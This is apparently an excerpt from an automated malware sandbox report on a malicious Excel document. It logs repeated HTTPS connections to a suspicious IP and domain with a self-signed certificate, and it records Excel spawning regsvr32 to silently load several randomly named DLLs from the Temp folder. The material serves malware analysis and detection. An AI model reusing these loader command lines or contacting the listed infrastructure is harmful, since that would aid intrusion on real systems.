Jan 20, 2021 16:14:32.020127058 CET	2615	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Jan 2021 15:14:29 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jan 20, 2021 16:14:23.457039118 CET	194.225.58.214	443	192.168.2.22	49171	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:14:26.228542089 CET	194.225.58.214	443	192.168.2.22	49170	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:14:31.550004005 CET	194.225.58.214	443	192.168.2.22	49179	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:14:34.591666937 CET	194.225.58.214	443	192.168.2.22	49183	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:14:39.169614077 CET	194.225.58.214	443	192.168.2.22	49186	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:14:39.331029892 CET	194.225.58.214	443	192.168.2.22	49187	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:14:43.089103937 CET	194.225.58.214	443	192.168.2.22	49191	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:14:43.135684967 CET	194.225.58.214	443	192.168.2.22	49192	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:14:50.108299017 CET	194.225.58.214	443	192.168.2.22	49199	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:14:53.840101957 CET	194.225.58.214	443	192.168.2.22	49204	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:14:58.035561085 CET	194.225.58.214	443	192.168.2.22	49209	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:00.493616104 CET	194.225.58.214	443	192.168.2.22	49212	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:02.345410109 CET	194.225.58.214	443	192.168.2.22	49216	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:04.048556089 CET	194.225.58.214	443	192.168.2.22	49222	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:05.136898041 CET	194.225.58.214	443	192.168.2.22	49225	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:06.546210051 CET	194.225.58.214	443	192.168.2.22	49228	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:08.364630938 CET	194.225.58.214	443	192.168.2.22	49232	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:10.071746111 CET	194.225.58.214	443	192.168.2.22	49238	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:11.177829027 CET	194.225.58.214	443	192.168.2.22	49241	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:12.580827951 CET	194.225.58.214	443	192.168.2.22	49244	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:13.287823915 CET	194.225.58.214	443	192.168.2.22	49246	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:14.437695980 CET	194.225.58.214	443	192.168.2.22	49249	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:16.121128082 CET	194.225.58.214	443	192.168.2.22	49256	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:16.988439083 CET	194.225.58.214	443	192.168.2.22	49257	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:17.216505051 CET	194.225.58.214	443	192.168.2.22	49260	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:18.619196892 CET	194.225.58.214	443	192.168.2.22	49264	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:20.243889093 CET	194.225.58.214	443	192.168.2.22	49270	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:20.521085978 CET	194.225.58.214	443	192.168.2.22	49271	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:22.161134005 CET	194.225.58.214	443	192.168.2.22	49279	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:23.363163948 CET	194.225.58.214	443	192.168.2.22	49283	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:24.661545992 CET	194.225.58.214	443	192.168.2.22	49288	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:26.340131998 CET	194.225.58.214	443	192.168.2.22	49293	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:26.577426910 CET	194.225.58.214	443	192.168.2.22	49294	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:26.991142988 CET	194.225.58.214	443	192.168.2.22	49286	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:28.241166115 CET	194.225.58.214	443	192.168.2.22	49302	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:29.940860033 CET	194.225.58.214	443	192.168.2.22	49305	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 20, 2021 16:15:30.660327911 CET	194.225.58.214	443	192.168.2.22	49309	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	CN=aytinchentref.miensin6erycent.boats, O=Dfiom Hsfrof NL, L=Moscow, ST=Dramewid7, C=RU	Sun Jan 10 12:16:33 CET 2021	Sun Jul 11 13:16:33 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 552 Parent PID: 584

General

Start time:	16:12:42
Start date:	20/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f190000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2496 Parent PID: 552

General

Start time:	16:12:50
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll
Imagebase:	0xffbd0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2316 Parent PID: 552

General

Start time:	16:12:52
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2348 Parent PID: 552

General

Start time:	16:12:52
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zdkvrlsh.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 1204 Parent PID: 2316

General

Start time:	16:12:52
Start date:	20/01/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll
Imagebase:	0xfa0000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: regsvr32.exe PID: 972 Parent PID: 552

General

Start time:	16:12:52
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zaviwlej.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 1664 Parent PID: 552

General

Start time:	16:12:52
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\alajwj.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2684 Parent PID: 552

General

Start time:	16:12:52
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2940 Parent PID: 552

General

Start time:	16:12:58
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
